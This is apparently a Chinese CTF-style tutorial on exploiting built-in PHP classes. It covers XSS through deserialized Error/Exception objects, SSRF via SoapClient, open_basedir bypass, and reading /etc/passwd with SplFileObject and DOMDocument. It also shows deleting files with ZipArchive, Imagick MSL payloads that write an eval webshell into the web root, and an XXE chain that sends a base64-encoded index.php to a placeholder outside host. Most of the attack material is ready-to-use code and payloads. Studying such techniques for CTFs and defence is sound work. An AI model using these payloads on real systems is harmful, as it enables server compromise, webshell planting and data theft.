磨好的利剑:PHP原生类
PHP原生类
相当综合的应用呢,利用面广的不行,爽赤
常见的原生类有以下几个
1.Error/Exception
2.FilesystemIterator/SplFileObject/DirectoryIterator/GlobIterator
3.SoapClient
4.SimpleXMLElement
当然还有有些偶尔能用上的ZipArchive
XSS利用
Error/Exception内置类
Error:
- 仅适用于PHP7版本
- 在开启报错的情况下
我们可以查看一下Error的内置方法
$className = 'Error';
$methods = get_class_methods($className);
foreach ($methods as $method) {
echo "{$className}::{$method}" . PHP_EOL;
}
得到:
Error::__construct
Error::__wakeup
Error::getMessage
Error::getCode
Error::getFile
Error::getLine
Error::getTrace
Error::getPrevious
Error::getTraceAsString
Error::__toString
那么就可以利用XSS的__toString
魔术方法打一个XSS
测试代码:
$a = unserialize($_GET['whoami']);
echo $a;
(如果不知道原生类的情况下可能直接趋势了吧
那么就用Error类构造一个POC
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);
//O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A44%3A%22C%3A%5CUsers%5Cayano%5CPhpstormProjects%5CWWW%5Ctest.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D
可以看到成功弹出
Exception
也是同理的
得到
O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A46%3A%22C%3A%5CUsers%5Cayano%5CPhpstormProjects%5CWWW%5Cmethod.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
SSRF利用
用Soap之前先要在php.ini里开一下extension
这里只提供一下PHP8的配置方法,因为7和以上的版本配置的内容是不一样的
先把路径改一下
这里初始是ext
,需要改掉并且去掉前面的;
再找到soap
这边也需要去掉前面的;
这样就算配好了。
SoapClient何许人也?
PHP 的内置类 SoapClient
是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。
类摘要如下:
SoapClient {
/* 方法 */
public __construct ( string|null $wsdl , array $options = [] )
public __call ( string $name , array $args ) : mixed
public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null
public __getCookies ( ) : array
public __getFunctions ( ) : array|null
public __getLastRequest ( ) : string|null
public __getLastRequestHeaders ( ) : string|null
public __getLastResponse ( ) : string|null
public __getLastResponseHeaders ( ) : string|null
public __getTypes ( ) : array|null
public __setCookie ( string $name , string|null $value = null ) : void
public __setLocation ( string $location = "" ) : string|null
public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool
public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed
}
可以看到,该内置类有一个 __call
方法,当 __call
方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call
方法,使得 SoapClient
类可以被我们运用在 SSRF 中。SoapClient
这个类也算是目前被挖掘出来最好用的一个内置类。
该类的构造函数如下:
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
- 第一个参数是用来指明是否是
wsdl
模式,将该值设为null则表示非wsdl
模式。 - 第二个参数为一个数组,如果在
wsdl
模式下,此参数可选;如果在非wsdl
模式下,则必须设置location和uri
选项,其中location
是要将请求发送到的SOAP服务器的URL,而uri
是SOAP服务的目标命名空间。
在知道两个选项的含义之后payload就相当容易构造了
设置第一个参数为null,第二个为target_url
这里其实就可以配合CRLF或者HTTP请求走私搞一下
open_basedir
绕过
DirectoryIterator
与glob://协议结合将无视open_basedir
对目录的限制,可以用来列举出指定目录下的文件。
哈希比较绕过
Error
类是所有php内部错误类的基类 从php7开始被引入
Exception
类是所有异常的类,从php5开始被引入
这两个都存在__tostring
方法
通过echo/return就可以直接触发
$a = new Error("payload",1);$b = new Error("payload",2);//注意这是同一行
echo $a;
echo $b;
if($a != $b)
{
echo "a!=b";
}
echo"\n";
var_dump(md5($a)===md5($b));//这里输出是true
但是如果这样写
$a = new Error("payload",1);
$b = new Error("payload",2);//这里不是同一行
echo $a;
echo $b;
if($a != $b)
{
echo "a!=b";
}
echo"\n";
var_dump(md5($a)===md5($b));//这里输出的是false
这是为什么呢(雾),看一眼输出就可以发现它的返回值是带有行数的,这个就会导致哈希值不一样
Exception 类与 Error 的使用和结果完全一样,只不过 Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7
读写文件
SplFileObject
这个是按行读取的,如果多行读取就需要遍历了
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
echo($f);
}
// 或者用伪协议base64直接输出,有时候有奇效
$context = new SplFileObject('php://filter/read=convert.base64-encode/resource=/etc/passwd');
echo $context;
写:
$f = new SplFileObject('./file', "w");
$f->fwrite("file");
DOMDocumnet
这个类本意是处理 XML 和 HTML 内容,不过也有相应的读/写文件的方法,只要利用 伪协议 稍做加工就可以无杂质地对数据进行操作。
读文件:
# 读文件
# 先用 convert.base64 将文件内容base64,避免出现额外的 <p> 标签
# 然后将读取的内容转换成 XML 格式,再加载它,最后取 <p> 标签内的内容 (如果想获取纯净流则可以再进行base64解码)
$f="/etc/passwd";
$d=new DOMDocument();
$d->loadHTMLFile("php://filter/convert.base64-encode/resource=$f");
$d->loadXML($d->saveXML());
echo $d->getElementsByTagName("p")[0]->textContent;
写文件
# 写文件
# 先用 string.strip_tags 将多余的 HTML 标签去掉,然后再用 convert.base64 将多余的其他杂质 (如空格,双引号等非base64字符去掉)
$f="./test.php";
$d=new DOMDocument();
$d->loadHTML("dGVzdA==");
$d->saveHtmlFile("php://filter/string.strip_tags|convert.base64-decode/resource=$f");
读文件:Xinclude
<?php $a = filter_input(1,"file");; $xml = <<<EOD <?xml version="1.0" ?> <root xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include href="$a" parse="text"/> </root> EOD; $dom = new DOMDocument; $dom->preserveWhiteSpace = false; $dom->formatOutput = true; $dom->loadXML($xml); $dom->xinclude(); echo $dom->saveXML();
文件探测
文件是否存在(finfo
)
利用版本: (PHP >= 5.3.0, PECL fileinfo
>= 0.1.0) 判断文件是否存在(判断文件类型)
$f = "./aasd.php"; $ff = new finfo(FILEINFO_MIME); echo $ff->file($f);
目录遍历:Directory
这个类本意是不能够直接通过 new 方式进行创建利用,当使用 dir 函数时,这个类会被实例化。但我们依然可以直接实例化并使用其中的方法
判断文件是否存在:
# 判断某个目录是否存在,
# 如果存在返回目录字符串,若不存在则产生警告并返回NULL
$dir="/etc";
echo (new Directory)->read(opendir($dir));
读取目录:
$dir = "/etc";
$d = new Directory;
$d->resource = opendir($dir);
while(($c = $d->read($d->resource))){echo $c."\n";};
目录遍历:DirectoryIterator
DirectoryIterator
会创建一个指定目录的迭代器。当执行到echo函数时,会触发DirectoryIterator
类中的 __toString()
方法,输出指定目录里面经过排序之后的第一个文件名.
遍历文件目录,直接对文件全部输出出来.
<?php $dir=new DirectoryIterator("/"); foreach($dir as $f){ echo($f.'<br>'); //echo($f->__toString().'<br>'); }
利用 DirectoryIterator
类对象 + glob:// 协议获取目录结构,能够突破 open_basedir
的限制:
$dir=new DirectoryIterator("glob:///*"); foreach($dir as $f){ echo($f.'<br>'); //echo($f->__toString().'<br>'); }
一些其他的用法:
# 简单列目录
$dir = "./geek";
$d = new DirectoryIterator($dir);
while ($d->valid()){
echo $d."\n";
$d->next();
}
# 也可以用来获取文件的信息
$dir = "./geek";
$d = new DirectoryIterator($dir);
while($d->valid()){
# 获取最后访问时间
var_dump($d->getATime());
# 获取创建时间
var_dump($d->getCTime());
# 获取最后修改时间
var_dump($d->getMtime());
# 获取文件名,
# 直接用 __toString 也可以
var_dump($d->getFilename());
var_dump((string)$d);
# 获取文件名 (自动除去后缀名),
# 比如除去 .php 后缀名
var_dump($d->getBasename("php"));
# 获取目录和文件名
var_dump($d->getPathname());
# 获取文件所有者
var_dump($d->getOwner());
# 获取文件所有组
var_dump($d->getGroup());
# 获取文件inode编号
var_dump($d->getInode());
# 获取文件权限
var_dump(substr(sprintf("%o",$d->getPerms()),-4));
# 获取文件大小
var_dump(($d->getSize()/1024)." kb");
# 获取文件类型 (file/dir)
var_dump($d->getType());
# 判断文件是否是目录
var_dump($d->isDir());
# 判断文件是否是文件 (不是目录)
var_dump($d->isFile());
# 判断文件是否为 ./..
var_dump($d->isDot());
# 判断文件是否可执行
var_dump($d->isExecute());
# 判断文件是否是链接文件
var_dump($d->isLink());
# 判断文件是否可读
var_dump($d->isReadable());
# 判断文件是否可写
var_dump($d->isWriteable());
$d->next();
}
# 一些其他方法的功能
# 获取当前目录路径 (其实也就是 ? )
var_dump($d->path());
# 获取当前元素的索引
var_dump($d->key());
# 将当前索引移动到下一个元素
$d->next();
# 将索引重置到开头
$d->rewind();
# 设置索引
$d->seek(0);
# 判断当前索引的文件是否合法 (是否是一个文件)
$d->vaild();
目录遍历:FilesystemIterator
利用版本:(PHP 5 >= 5.3.0, PHP 7)
其实这个类实际上也就是 DirectoryIterator
类的升级版,基本继承了 DirectorIterator
类的所有方法,所以利用方式和 DirectorIterator
一样:
目录遍历:GlobIterator
利用版本:(PHP 5 >= 5.3.0, PHP 7)GlobIterator
无需配合 glob:// 协议枚举目录。
foreach(new GlobIterator("./*") as $f){ echo $f."\n"; }
在 CTF 中如果知道了 flag 的位置,但不知道 flag 的文件名,则可以使用:GlobIterator("/*flag*")
文件操作:ZipArchive
利用版本: (PHP 5 >= 5.2.0, PHP 7, PECL zip >= 1.1.0)
这个类是在php5.2.0之后引入的,我们之前会在一些原生类利用中见到它,我们可以用这个类来删除文件,读取文件以及有损写文件。
删除文件
$a=new ZipArchive();
$a->open("file", ZipArchive::OVERWRITE); // ZipArchive::CREATE也可以用8代替
读取文件
$f = "flag";
$zip=new ZipArchive();
$zip->open("a.zip", ZipArchive::CREATE);
$zip->addFile($f);
$zip->close();
$zip->open("a.zip");
echo $zip->getFromName($f);
$zip->close();
有损写文件
$f = "flag";
$zip=new ZipArchive();
$zip->open("a.zip", ZipArchive::CREATE);
$zip->setArchiveComment("<?php phpinfo();?>");
$zip->addFromString("file", "");
$zip->close();
//include "a.zip";
RCE
Exploiting Arbitrary Object Instantiations in PHP without Custom Classes – PT SWARM 这篇文章的作者在应对如下场景时找到了一种新的利用手法——Imagick。
new $_GET['a']($_GET['b']);
如果仅可控类名和一个参数名,且只能够实例化对象,不能执行对象方法的情况下,同样可以实现 RCE。
空字节截断
Imagick 参数被空字节截断也可以正常使用
# No errors $a = new Imagick("/tmp/positive.png\x00.jpg"); # No errors $a = new Imagick("http://attacker.com/test\x00test");
https:/
https:/ 会调用 curl
$a = new Imagick("https:/127.0.0.1:9999/positive.png\x00.jpg");
vid + tempfile RCE
php 会将 post 接收到的文件以临时文件的形式保存在 /tmp 下。假设我们上传一个 msl 文件如下
<?xml version="1.0" encoding="UTF-8"?> <image> <read filename="caption:<?php @eval(@$_REQUEST['a']); ?>" /> <!-- Relative paths such as info:./../../uploads/swarm.php can be used as well --> <write filename="info:/var/www/swarm.php" /> </image>
如果使用 vid:msl 的形式将该临时文件进行读取,解析 msl 时会将 webshell 的内容写入 /var/www/swarm.php
$a = new Imagick("vid:msl:/tmp/php*");
CISCN 2022 有根据这个知识点出过题:CTF-Challenges/CISCN/2022/backdoor/writup/writup.md at master · AFKL-CUIT/CTF-Challenges · GitHub,但利用 payload 有所区别, 使用 inline 将文件内容以 base64 的形式编码在 msl 文件中。
<?xml version="1.0" encoding="UTF-8"?> <image> <read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADw/cGhwIGV2YWwoJF9HRVRbMV0pOz8+fE86ODoiYmFja2Rvb3IiOjI6e3M6NDoicGF0aCI7czoxNDoiL3RtcC9zZXNzX2Fma2wiO3M6MTI6ImRvX2V4ZWNfZnVuYyI7YjowO30=" /> <write filename="/tmp/sess_afkl" /> </image>
SCTF 2023 中对这种利用方式进行了探索,可以达到读取文件内容的效果。
<image> <read filename="mvg:/flag" /> <write filename="/tmp/xxxx" /> </image>
XXE
SimpleXMLElement
class SimpleXMLElement implements Stringable, Countable, RecursiveIterator {
/* Methods */
public __construct(
string $data,
int $options = 0,
bool $dataIsURL = false,
string $namespaceOrPrefix = "",
bool $isPrefix = false
)
public addAttribute(string $qualifiedName, string $value, ?string $namespace = null): void
public addChild(string $qualifiedName, ?string $value = null, ?string $namespace = null): ?SimpleXMLElement
public asXML(?string $filename = null): string|bool
public attributes(?string $namespaceOrPrefix = null, bool $isPrefix = false): ?SimpleXMLElement
public children(?string $namespaceOrPrefix = null, bool $isPrefix = false): ?SimpleXMLElement
public count(): int
public getDocNamespaces(bool $recursive = false, bool $fromRoot = true): array|false
public getName(): string
public getNamespaces(bool $recursive = false): array
public registerXPathNamespace(string $prefix, string $namespace): bool
public __toString(): string
public xpath(string $expression): array|null|false
}
- data: xml 字符串,xml 文档路径或者 url 路径(如果 dataIsURL 为 true
- dataIsURL: 默认情况下为 false,为 true 时 data 为一个 url 路径
- option:设置为 LIBXML_NOENT 时,可能会导致 xxe 攻击,LIBXML_NOENT 为 2.
读取文件
poc:
$x=new SimpleXMLElement("http://xxx.xxx.xxx.xxx/evil.xml",2,true);
evil.xml
<?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx/send.xml"> %remote; %all; %send; ]>
send.xml
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> <!ENTITY % all "<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx/send.php?file=%file;'>">
SimpleXMLIterator
可用于代替 SimpleXMLElement